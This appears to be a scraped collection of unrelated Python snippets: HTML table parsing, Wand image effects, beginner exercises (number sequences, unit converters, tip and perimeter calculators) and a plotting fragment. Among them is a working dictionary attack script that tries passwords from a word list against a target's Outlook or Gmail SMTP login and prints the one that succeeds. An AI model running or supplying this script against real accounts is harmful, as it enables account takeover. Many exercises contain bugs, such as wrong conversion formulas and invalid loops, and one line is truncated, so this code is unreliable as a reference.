Snippets Collections
# variation of https://python-forum.io/thread-21314.html

table = soup.find_all('table')[2]		# we receive a list of tables
table_body = table.find('tbody')

data = [] 
rows = table_body.find_all('tr')
for row in rows:
    cols = row.find_all(['td', 'th'])	# consider rows AND headers 
    cols = [ele for ele in cols]		# get html tags, not .text 
    data.append([ele for ele in cols if ele])

# directly via pandas
import pandas as pd
dfs = pd.read_html(content[1]['body'])				#list of
dfs[0].columns = ['key', 'value']					# set column names
dfs[0]#[dfs[0].key == 'Status'].iloc[0]['value']	# read cell value
#!/usr/bin/python
# Dyrk.org 2016-2017

import smtplib

# Outlook.com
smtp_s   = 'smtp-mail.outlook.com'

# Gmail
# smtp_s = 'smtp.gmail.com'

smtp_p = 587
sender = 'target_adress@hotmail.com'
dico   = 'pwdlist.txt'

with open(dico) as f:
    for password in f:
        password = password.replace('\n', '')
        try:
            m = smtplib.SMTP(smtp_s, smtp_p)
            m.ehlo()
            m.starttls()
            m.login(sender, password)
            print '[OK] => ' + sender + ' : ' + password
            m.close()
            exit()
        except smtplib.SMTPAuthenticationError, e:
            if e[0] == 534:  # Gmail
                print '[OK] => ' + sender + ' : ' + password
                print e
                exit()
            else:
                print 'try ' + password + ' .... err. ' + str(e[0]) \
                    + '   >>>  ' + e[1]

			
def check_permission(user):
    def decorator(func):
        def wrapper(*args, **kwargs):
            if user["access_level"] == "admin":
                return func(*args, **kwargs)

            raise Exception("No way!!!")

        return wrapper

    return decorator


user = {"username": "jose", "access_level": "admin"}


@check_permission(user)
def get_admin_pass():
    return "1234"


print(get_admin_pass())
from wand.image import Image
import numpy as np
import cv2

with Image(filename='zelda1.jpg') as img:
    img.virtual_pixel = 'black'
    img.implode(0.5)
    img.save(filename='zelda1_implode.jpg')
    # convert to opencv/numpy array format
    img_implode_opencv = np.array(img)
    img_implode_opencv = cv2.cvtColor(img_implode_opencv, cv2.COLOR_RGB2BGR)

with Image(filename='zelda1.jpg') as img:
    img.virtual_pixel = 'black'
    img.implode(-0.5 )
    img.save(filename='zelda1_explode.jpg')
    # convert to opencv/numpy array format
    img_explode_opencv = np.array(img)
    img_explode_opencv = cv2.cvtColor(img_explode_opencv, cv2.COLOR_RGB2BGR)

# display result with opencv
cv2.imshow("IMPLODE", img_implode_opencv)
cv2.imshow("EXPLODE", img_explode_opencv)
cv2.waitKey(0)
# Import library from Image
from wand.image import Image
 
# Import the image
with Image(filename ='../geeksforgeeks.png') as image:
    # Clone the image in order to process
    with image.clone() as posterize:
        # Invoke posterize function
        posterize.posterize(2, 'no')
        # Save the image
        posterize.save(filename ='posterize1.jpg')
from wand.image import Image
from wand.api import library

with Image(filename='wizard:') as img:
    # Grab image size
    cols, rows = img.size
    # Define our target location ... say 1/3rd, by 1/5th
    tx, ty = int(cols * 0.33), int(rows * 0.2)
    # Find middle of the image.
    mx, my = cols // 2, rows // 2
    # Roll target coord into middle
    ok = library.MagickRollImage(img.wand, mx-tx, my-ty)
    if not ok:
        img.raise_exception()
    # Implode
    img.implode(0.5)
    # Roll middle back into place.
    ok = library.MagickRollImage(img.wand, mx+tx, my+ty)
    if not ok:
        img.raise_exception()
    # done
    img.save(filename='output.png')
# problem5:
# store a number as a password:
# list must be outside the loop:
import time
guesses = []
password= '0000'
while True:
    # to exit the program
    try:
        # Take user input:
        gussed = input("Gusse a password that consists from 4 numbers:  ")
        # convert to string:
        gussed = str(gussed)

        # conditions: 
        if gussed == password:
            print("Password correct!")
            # leave the loop
            break

        else:
            print("Password incorrect")
            guesses.append(gussed)
            if len(guesses)>3:
                print("You are banned because spamming, please try again after 3s. ")
                guesses = []
                time.sleep(3)
            else:
                guesses.append(gussed)

            
        print(guesses)
        #guesses.append(gussed)
        


    except KeyboardInterrupt:
        print("exist")
# problem 6:
"""
Write a program that:

Asks the user to input two different numbers and stores them in two variables
Outputs the biggest number entered

"""
while True:
    try:
        num1=input("Please enter the first number: ")
        num2=input("Please enter the scond number:")
        num1=int(num1)
        num2=int(num2)
        if num1 == num2:
            print("Please write different values>")

        else:
            if num1>num2:
                print(num1)
                break
            elif num2>num1:
                print(num2)
                break
        
    except ValueError:
        print("Conversion faild")
from dataclasses import dataclass, InitVar
from typing import Optional

@dataclass
class CampingEquipment:
    knife: bool
    fork: bool
    missing_flask_size: InitVar[Optional[int]] = None

    def __post_init__(self, missing_flask_size):
        if missing_flask_size is not None:
            self.missing_flask_size = missing_flask_size
def generate_digit_power_sequence(start,limit):
    # step1: Validate the provided parameter values
    if type(start)==int:
        pass
    else:
        return None
    if type (limit)== int:
        pass
    else:
        return None

    if not(100 <=start<=999):
        return None
    if not (limit>5):
        return None
    # step2: Generate the specified sequence
    # step3: return the generated sequence

    sequence = []
    cubic = 0
    start = str(start)
    for j in (limit):
        cubic = 0
        for i in (start):
            # define a new variable
            value = int(i)
            cubic=value**3 + cubic
        
        start = str(cubic)
        sequence.append(cubic)
    
    return sequence
generate_digit_power_sequence(213,6)
# generate a function:
def generate_cubed_sequence():
    # Step 1: Obtain and Validate Inputs
    # I should put the loop at the beginning of the code
    while True:
        # define the variable inside the loop itself
        maxValue = input("Enter an integer that represents the max value: ")
        try:
            # if the conversion succseed, check if the value >=1
            maxValue = int(maxValue)
            if maxValue>=1:
                print(f"Generating sequence with max value {maxValue}")
                # if everything follows all conditions and I want to leave the loop
                break
            # if conversion succeed but value<1:
            else: 
                print("Invalid Input")
        except ValueError:
            print("Invalid Input")
            pass
    # Step2: Generate the sequence 
    sequence = []
    x =1
    cubed = x**3

    while cubed <= maxValue:
        sequence.append(cubed)
        x+=1
        cubed=x**3
    return sequence
print(generate_cubed_sequence()) 
def generate_magic_sequence(start,increment,limit):
    # 1. validation:
    # Start:
    try:
        start = int(str(start))
        if not(start>=1):
            print("start ia not in range")
            return None
        print("Good start value.")
            
    except ValueError:
        # To understand what's going on
        print("conversion faild")
        return None
    
    
        
    # increment:
    try:
        increment = int(str(increment))
        if not(1<= increment <= 10):
            # To understand what's going on
            print("increment is not in range")
            return None
        print("Good increment value")
            
    except ValueError:
        # To understand what's going on
        print("conversion faild")
        return None
    
         
    # limit:
    try:
        limit = int(str(limit))
        if limit<=3 or limit >=99:
            print("limit is not in range")
            return None
        print("Good limit value")
        
    except ValueError:
        print("Conversion faild")
        return None
    
         
    # 2. Generate a sequence:
    sequence = []
    # create the first value here!
    sequence.append(start**5)

    # create a loop within a certaian condition:
    while len(sequence) < limit:
        # define a variable that contains the new values
        # last digit: (sequence[-1])[-1]
        nextValue = (int(str(sequence[-1])[-1])+increment)**5
        #nextValue= (int(str(sequence[-1])[-1] + increment))**5
        sequence.append(nextValue)
    return sequence

result = generate_magic_sequence(3,2,4)

print(result)
# Task1
def main():
    #thisfunction will allow the user to choose which function to run:
    # 1. print options out:
    print("Options: ")
    print("Temperature = convert between two different temperature units")
    print("Length = convert between two different length units")
    print("Mass = convert between two different mass units")
    print("Area = convert between two different area units")
    option = input("Select an option or control C to exit the program: ")
    option=option.lower()
    # to allow user repeat:
    while True:
        # to allow user to quit:
        try: 

            if option == 'temperature':
                temperature_convert()
            elif option == 'length':
                length_convert()
            elif option == 'mass':
                mass_convert()
            elif option=='area':
                area_convrt()
            else:
                print('Invalid Inputs')
        except KeyboardInterrupt:
            print("\nExiting program\n")
        break


def temperature_convert():
    #temperature = ['Kelvin', 'Celsius','Fahrenheit', 'Rankine', 'Delisle']
    validUnit=['C', 'K', 'F', 'R','D']
    temperature = {'K':'Kelvin','C':'Celsius','F':'Fahrenheit','R':'Rankine',  'D':'Delisle'}
    # print(temperature)
    # print(validUnit)
    convertFrom = input("Enter unit to convert from (C = Celcius, K = Kelvin, F = Fahrenheit, R = Rankine, D = Delisle): ")
    converTo = input("Enter unit to convert to (C = Celcius, K = Kelvin, F = Fahrenheit, R = Rankine, D = Delisle): ")
    value = input("Enter temperature value to convert: ")
    while True:
        try:
            convertFrom = str(convertFrom)
            converTo = str(converTo)
            value = float(value)
            convertFrom = convertFrom.upper()
            converTo = converTo.upper()
            if convertFrom not in validUnit or converTo not in validUnit:
                print("Invalid Unit! ")
            else: 
                break
        except ValueError:
            print("Conversion faild")
        """
                # From Kelvin:
        if convertFrom == 'Kelvin' and converTo == 'Celsius':
            newValue = value-273.15
            print(f"Temperature converted from {temperature[0]}K to {temperature[1]}°C is {round(newValue,2)}°C")
        elif convertFrom == 'Kelvin' and converTo == 'Fahrenheit':
            newValue= (((value-273.15)**9)/5)+32
            print(f"Temperature converted from {temperature[0]}K to {temperature[2]}°F is {round(newValue,2)}°F")
        elif convertFrom == 'Kelvin' and converTo =='Rankine':
            newValue = (value*9)/5
            print(f"Temperature converted from {temperature[0]}K to {temperature[3]}°R is {round(newValue,2)}°R")
        elif convertFrom == 'Kelvin' and converTo =='Delisle':
            newValue = ((373.15 - value)*3)/2
            print(f"Temperature converted from {temperature[0]}K to {temperature[4]}°D is {round(newValue,2)}°D")


        # From Celsius 
        
        elif convertFrom =='Celsius' and converTo=='Kelvin':
            newValue= value+273.15
            print(f"Temperature converted from {temperature[1]}°C to {temperature[0]}K is {round(newValue,2)}K")
        elif convertFrom == 'Celsius' and converTo == 'Fahrenheit':
            newValue = (value*9/5)+3**2
            print(f"Temperature converted from {temperature[1]}°C to {temperature[2]}°F is {round(newValue,2)}°F")
        elif convertFrom == 'Celsius' and converTo =='Rankine':
            newValue = (value*9/5)+491.67
            print(f"Temperature converted from {temperature[1]}°C to {temperature[3]}°R is {round(newValue,2)}°R")
        elif convertFrom == 'Celsius' and converTo == temperature[4]:
            newValue = ((100-value)*3)/2
            print(f"Temperature converted from {temperature[1]}°C to {temperature[4]}°D  is {round(newValue,2)}°D ")
        
        # from Fahrenheit:
        elif convertFrom == temperature [2] and converTo =='Kelvin':
            newValue = (value+459.67)*5/9
            print(f"Temperature converted from {temperature[1]}°F to {temperature[0]}K  is {round(newValue,2)}K")
        elif convertFrom == temperature [2] and converTo =='Celsius':
            newValue = (value -32)*5/9
            print(f"Temperature converted from {temperature[1]}°F to {temperature[1]}°C  is {round(newValue,2)}°C ")
        elif convertFrom == temperature [2] and converTo =='Rankine':
            newValue = value + 459.67
            print(f"Temperature converted from {temperature[1]}°F to {temperature[3]}°R  is {round(newValue,2)}°R ")
        elif convertFrom == temperature [2] and converTo == 'Delisle':
            newValue = (212 -value) * 5/6
            print(f"Temperature converted from {temperature[1]}°F to {temperature[4]}°D  is {round(newValue,2)}°D ")
        
        # from Rankine (°R):
        elif convertFrom == 'Rankine' and converTo == 'Kelvin':
            newValue = value/1.8
            print(f"Temperature converted from {temperature[3]}°R to {temperature[0]}K  is {round(newValue,2)}K")
        elif convertFrom == 'Rankine' and converTo =='Celsius':
            newValue = (value-491.67)*5/9
            print(f"Temperature converted from {temperature[3]}°R to {temperature[1]}°C  is {round(newValue,2)}°C ")
        elif convertFrom == 'Rankine' and converTo =='Fahrenheit':
            newValue = value-459.67
            print(f"Temperature converted from {temperature[3]}°R to {temperature[2]}°F is {round(newValue,2)}°F ")
        elif convertFrom == 'Rankine' and converTo == 'Delisle':
            newValue = (value-491.67) * 0.83333
            print(f"Temperature converted from {temperature[3]}°R to {temperature[4]}°D  is {round(newValue,2)}°D ")
        
        # FROM D:
        elif convertFrom == 'Delisle' and converTo =='Kelvin':
            newValue = (373.15-value)*2/3
            print(f"Temperature converted from {temperature[4]}°D to {temperature[0]}K  is {round(newValue,2)}K")
        elif convertFrom == 'Delisle' and converTo == 'Celsius':
            newValue = (value+100)/1.5000
            print(f"Temperature converted from {temperature[4]}°D to {temperature[1]}°C  is {round(newValue,2)}°C ")
        elif convertFrom == 'Delisle' and converTo =='Fahrenheit':
            newValue = ((value+100)*1.2000)+32
            print(f"Temperature converted from {temperature[4]}°D to {temperature[2]}°F is {round(newValue,2)}°F ")
        elif convertFrom == 'Delisle' and converTo == 'Rankine':
            newValue = ((value+100)*1.2000 )+491.67
            print(f"Temperature converted from {temperature[4]}°D to {temperature[3]}°R  is {round(newValue,2)}°D ")
        else: 
            print("Invalid inputs. ")
        """

    # From Kelvin:
    if convertFrom == 'K' and converTo == 'C':
        newValue = value-273.15
        print(f"Temperature converted from ({temperature[convertFrom]}) K to ({temperature[converTo]}) °C is {round(newValue,2)}°C")
    elif convertFrom == 'K' and converTo == 'F':
        newValue= (((value-273.15)**9)/5)+32
        print(f"Temperature converted from ({temperature[convertFrom]}) K to ({temperature[converTo]}) °F is {round(newValue,2)}°F")
    elif convertFrom == 'K' and converTo =='R':
        newValue = (value*9)/5
        print(f"Temperature converted from ({temperature[convertFrom]}) K to ({temperature[converTo]}) °R is {round(newValue,2)}°R")
    elif convertFrom == 'K' and converTo =='D':
        newValue = ((373.15 - value)*3)/2
        print(f"Temperature converted from ({temperature[convertFrom]}) K to ({temperature[converTo]}) °D is {round(newValue,2)}°D")


    # From Celsius 
        
    elif convertFrom =='C' and converTo=='K':
        newValue= value+273.15
        print(f"Temperature converted from ({temperature[convertFrom]}) °C to {temperature[converTo]} K is {round(newValue,2)}K")
    elif convertFrom == 'C' and converTo == 'F':
        newValue = (value*9/5)+3**2
        print(f"Temperature converted from ({temperature[convertFrom]}) °C to ({temperature[converTo]}) °F is {round(newValue,2)}°F")
    elif convertFrom == 'C' and converTo =='R':
        newValue = (value*9/5)+491.67
        print(f"Temperature converted from ({temperature[convertFrom]}) °C to {temperature[converTo]}°R is {round(newValue,2)}°R")
    elif convertFrom == 'C' and converTo == 'D':
        newValue = ((100-value)*3)/2
        print(f"Temperature converted from ({temperature[convertFrom]}) °C to ({temperature[converTo]}) °D  is {round(newValue,2)}°D ")
        
    # from Fahrenheit:
    elif convertFrom == 'F'and converTo =='K':
        newValue = (value+459.67)*5/9
        print(f"Temperature converted from ({temperature[convertFrom]}) °F to ({temperature[converTo]}) K  is {round(newValue,2)}K")
    elif convertFrom == 'F' and converTo =='C':
        newValue = (value -32)*5/9
        print(f"Temperature converted from ({temperature[convertFrom]}) °F to ({temperature[converTo]}) °C  is {round(newValue,2)}°C ")
    elif convertFrom == 'F' and converTo =='R':
        newValue = value + 459.67
        print(f"Temperature converted from ({temperature[convertFrom]}) °F to ({temperature[converTo]}) °R  is {round(newValue,2)}°R ")
    elif convertFrom == 'F' and converTo == 'D':
        newValue = (212 -value) * 5/6
        print(f"Temperature converted from {temperature[convertFrom]} °F to {temperature[converTo]} °D  is {round(newValue,2)}°D ")
        
    # from Rankine (°R):
    elif convertFrom == 'R' and converTo == 'K':
        newValue = value/1.8
        print(f"Temperature converted from {temperature[convertFrom]} °R to {temperature[converTo]} K  is {round(newValue,2)}K")
    elif convertFrom == 'R' and converTo =='C':
        newValue = (value-491.67)*5/9
        print(f"Temperature converted from ({temperature[convertFrom]}) °R to ({temperature[converTo]}) °C  is {round(newValue,2)}°C ")
    elif convertFrom == 'R' and converTo =='F':
        newValue = value-459.67
        print(f"Temperature converted from ({temperature[convertFrom]}) °R to ({temperature[converTo]}) °F is {round(newValue,2)}°F ")
    elif convertFrom == 'R' and converTo == 'D':
        newValue = (value-491.67) * 0.83333
        print(f"Temperature converted from ({temperature[convertFrom]}) °R to ({temperature[converTo]}) °D  is {round(newValue,2)}°D ")
        
    # From D:
    elif convertFrom == 'D' and converTo =='K':
        newValue = (373.15-value)*2/3
        print(f"Temperature converted from ({temperature[convertFrom]}) °D to ({temperature[converTo]}) K  is {round(newValue,2)}K")
    elif convertFrom == 'D' and converTo == 'C':
        newValue = (value+100)/1.5000
        print(f"Temperature converted from ({temperature[convertFrom]}) °D to ({temperature[converTo]}) °C  is {round(newValue,2)}°C ")
    elif convertFrom == 'D' and converTo =='F':
        newValue = ((value+100)*1.2000)+32
        print(f"Temperature converted from ({temperature[convertFrom]}) °D to ({temperature[converTo]}) °F is {round(newValue,2)}°F ")
    elif convertFrom == 'D' and converTo == 'R':
        newValue = ((value+100)*1.2000 )+491.67
        print(f"Temperature converted from ({temperature[convertFrom]}) °D to ({temperature[converTo]}) °R  is {round(newValue,2)}°D ")
    else: 
        print("Invalid inputs. ")

#temperature_convert()
def length_convert():
    # Take user inputs: 
    value = input("Enter length value: ")
    convertFrom = input("Enter unit you want to convert from: ")
    converTo = input("Enter unit you want to convert to: ")
    # creat list that contains units:
    validUnits = ['m','in','ft','yd','mi','nm']
    # create a dictionary that has letters with their coressponding unit names:
    unitNames = {'m':'Metre',
    'in': 'Inch',
    'ft':'Feet',
    'yd': 'Yard',
    'mi':'Mile',
    'nm':'Nautical Mile'
    }
    converTo=converTo.lower()
    convertFrom=convertFrom.lower()

    # Validation:
    while True:
        try:
            value = float(value)
            if convertFrom not in validUnits or converTo not in validUnits:
                print("Unit Invalid. ")
            else:
                break

        except ValueError:
            print("Conversion faild")
    # Conver from meter:
    if convertFrom == 'm' and converTo == 'in':
        newvalue = value*39.3701
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} in. ")
    elif convertFrom == 'm' and converTo == 'ft':
        newvalue=value*3.28084
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} ft. ")
    elif convertFrom == 'm' and converTo == 'yd':
        newvalue=value*1.094
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} yd. ")
    elif convertFrom == 'm' and converTo == 'mi':
        newvalue=value/1609
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} mi. ")
    elif convertFrom == 'm' and converTo == 'nm':
        newvalue=value*0.000539957
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} nm. ")
    # convert from inch:
    if convertFrom == 'in' and converTo == 'm':
        newvalue = value/39.37
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} m. ")
    elif convertFrom == 'in' and converTo == 'ft':
        newvalue=value/12
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} ft. ")
    elif convertFrom == 'in' and converTo == 'yd':
        newvalue=value/36
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} yd. ")
    elif convertFrom == 'in' and converTo == 'mi':
        newvalue=value/63360
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} mi. ")
    elif convertFrom == 'in' and converTo == 'nm':
        newvalue=value/72910
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} nm. ")
    # convert from feet:
    if convertFrom == 'ft' and converTo == 'in':
        newvalue =value*12
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} in. ")
    elif convertFrom == 'ft' and converTo == 'm':
        newvalue=value/3.281
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} m. ")
    elif convertFrom == 'ft' and converTo == 'yd':
        newvalue=value/3
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} yd. ")
    elif convertFrom == 'ft' and converTo == 'mi':
        newvalue=value/5280
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} mi. ")
    elif convertFrom == 'ft' and converTo == 'nm':
        newvalue=value/6076
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} nm. ")
    # convert from Yard:
    if convertFrom == 'yd' and converTo == 'in':
        newvalue =value*36
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} in. ")
    elif convertFrom == 'yd' and converTo == 'm':
        newvalue=value/1.094
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} m. ")
    elif convertFrom == 'yd' and converTo == 'ft':
        newvalue=value*3
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} ft. ")
    elif convertFrom == 'yd' and converTo == 'mi':
        newvalue=value/1760
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} mi. ")
    elif convertFrom == 'yd' and converTo == 'nm':
        newvalue=value/2025
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} nm. ")
    # convert from Mile:
    if convertFrom == 'mi' and converTo == 'in':
        newvalue =value*63360
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} in. ")
    elif convertFrom == 'mi' and converTo == 'm':
        newvalue=value*1609
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} m. ")
    elif convertFrom == 'mi' and converTo == 'ft':
        newvalue=value*5280
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} ft. ")
    elif convertFrom == 'mi' and converTo == 'yd':
        newvalue=value*1760
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} yd. ")
    elif convertFrom == 'mi' and converTo == 'nm':
        newvalue=value/1.151
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} nm. ")
    # convert from Nautical Mile:
    if convertFrom == 'nm' and converTo == 'in':
        newvalue =value*72910
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} in. ")
    elif convertFrom == 'nm' and converTo == 'm':
        newvalue=value*1852
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} m. ")
    elif convertFrom == 'nm' and converTo == 'ft':
        newvalue=value*6076
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} ft. ")
    elif convertFrom == 'nm' and converTo == 'yd':
        newvalue=value*2025
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} yd. ")
    elif convertFrom == 'nm' and converTo == 'mi':
        newvalue=value*1.151
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to {round(newvalue,2)} mi. ")

#length_convert()
def mass_convert():
    # get user inputs:
    while True:
        try:

            value = input("Enter value of mass you want to convert: ")
            convertFrom = input("Enter unit you want to convert from (Kilogram (kg), Pound (lbs),Ounce (oz), Stone (st), Tons (t)): ")
            convertTo = input("Enter unit you want to convert to (Kilogram (kg), Pound (lbs),Ounce (oz), Stone (st), Tons (t)): ")
            validUnits =['kg', 'lbs', 'oz', 'st','t']
            unitNames = {
                'kg': 'Kilogram ', 
                'lbs': 'Pound ', 
                'oz': 'Ounce', 
                'st': 'Stone ',
                't':'Tons '
            }
            value = float(value)
            convertFrom=convertFrom.lower()
            convertTo=convertTo.lower()
            if convertFrom not in validUnits or convertTo not in validUnits:
                print("Invalid Units. ")
            else:
                break
        except ValueError:
            print("conversion faild")
    
    # convert from kg:
    if convertFrom == 'kg' and convertTo=='lbs':
        newvalue=value*2.205
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 'kg' and convertTo=='oz':
        newvalue=value*35.274
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 'kg' and convertTo=='st':
        newvalue=value/6.35
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 'kg' and convertTo=='t':
        newvalue=value/1000
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    # convert from pound:
    if convertFrom == 'lbs' and convertTo=='kg':
        newvalue=value/2.205
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 'lbs' and convertTo=='oz':
        newvalue=value*16
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 'lbs' and convertTo=='st':
        newvalue=value/14
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 'lbs' and convertTo=='t':
        newvalue=value/2205
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    # convert from Ounce:
    if convertFrom == 'oz' and convertTo=='kg':
        newvalue=value/35.274
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 'oz' and convertTo=='lbs':
        newvalue=value/16
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 'oz' and convertTo=='st':
        newvalue=value/224
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 'oz' and convertTo=='t':
        newvalue=value/35270
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    # convert from Stone:
    if convertFrom == 'st' and convertTo=='kg':
        newvalue=value*6.35
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 'st' and convertTo=='lbs':
        newvalue=value*14
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 'st' and convertTo=='oz':
        newvalue=value*224
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 'st' and convertTo=='t':
        newvalue=value/157.5
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')

    # convert from Tones:
    if convertFrom == 't' and convertTo=='kg':
        newvalue=value*1000
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 't' and convertTo=='lbs':
        newvalue=value*2205
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 't' and convertTo=='oz':
        newvalue=value*35270
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 't' and convertTo=='st':
        newvalue=value*157.5
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
#mass_convert()

def area_convrt():
    while True:
        value = input("Enter area: ")
        convertFrom = input("Enter unit you want to conver area from: ")
        convertTo = input("Enter unit you want to conver area from: ")
        validUnits= ['km2', 'm2', 'ha', 'ac','in^2','ft2','yd2']
        unitNames = {

        }
        try:
            value = float(value)
            if convertFrom not in validUnits or convertTo not in validUnits:
                print("Invalid unit")
            else:
                break
        except ValueError:
            print("Conversion faild")
    
#area_convrt()
main()
# write aprogram to calculate the volune and surface area of a cuboid:
"""
Take three inputs: 
1. height
2. width 
3. length 

"""
height=float(input("Enter the height: "))
width=float(input("Enter the width: "))
length=float(input("Enter the length: "))

# print the given information in two decimal places:
print(f"Given h = {round(height,2)}, w = {round(width,2)}, l = {round(length,2)}")

# calculate the volume:
volume= height*width*length
print(f"The volume is {round(volume,2)}cm3")

# calculate the surface area:
surface= 2*length*width+2*length*height+2*height*width
print(f"The surface area is {round(surface,2)}cm2")
# Weekly coding exercise:
"""
Thisprogram will calculate the tip and cost of the meal 
to be split between griends at a restaurant.

Take three inputs:
1. Total price of the meal
2. The percentage of tip to be given
3. The number of friends to split the cost by

"""
totalPrice= float(input("Enter the total price of the meal: "))
tip= float(input("Enter the the percentage of the tip to be given in (of 100): "))
friends= float(input("Enter the number of friends to split the bill by: "))
if tip>=totalPrice:
    print("Invalid tip or invalid meal price")
elif tip>100 or tip<0:
    print("Invalid tip")
elif friends<2:
    print("Need more friends to split the bill by")
else: 
    # calculate tip:
    calculateTip= (totalPrice)*(tip/100)
    # add tip to the price: 
    mealTip = (totalPrice)+(calculateTip)

    print(f"The meal total (with tip) is ${mealTip}")
    person = (mealTip)/(friends)

    print(f"Each person should pay ${round(person,2)}")
# weekly coding exercise propleam 1:
"""
This program will calculate the perimeter of a rectangle
Take two inputs:
1. width  
2. length 
- do some validation
- convert to float and 2 D.P

"""
width = input("Enter width in centimeters: ")
length = input("Enter length in centimeters: ")

p = 2*(float(width)+float(length))
if width == length:
    print("Incorrect inputs")
else:
    print(f"The perimeter of a rectangle with width {round(width,2)}cm and length{round(length,2)}cm is {round(p,2)}cm.")
def group_by_owners(files):
  owners = {}
  for file, owner in files.items():
    if owner not in owners:
      owners[owner] = []
    owners[owner].append(file)
  return owners
port matplotlib.pyplot as plt
import pandas as pd
import seaborn as sns

# creating a dictionary
sns.set_style("whitegrid")
plt.rc('font', size=16) #controls default text size
plt.rc('axes', titlesize=16) #fontsize of the title
plt.rc('axes', labelsize=16) #fontsize of the x and y labels
plt.rc('xtick', labelsize=16) #fontsize of the x tick labels
plt.rc('ytick', labelsize=16) #fontsize of the y tick labels
plt.rc('legend', fontsize=16) #fontsize of the legend

# load dataset - census income
census_income = pd.read_csv(r'../input/income/train.csv')

# define figure
fig, (ax1, ax2) = plt.subplots(2)
fig.set_size_inches(18.5, 10.5)

# plot age histogram
age_count = census_income.groupby(by=["age"])["age"].count()
ax1.bar(age_count.index, age_count, color='black')
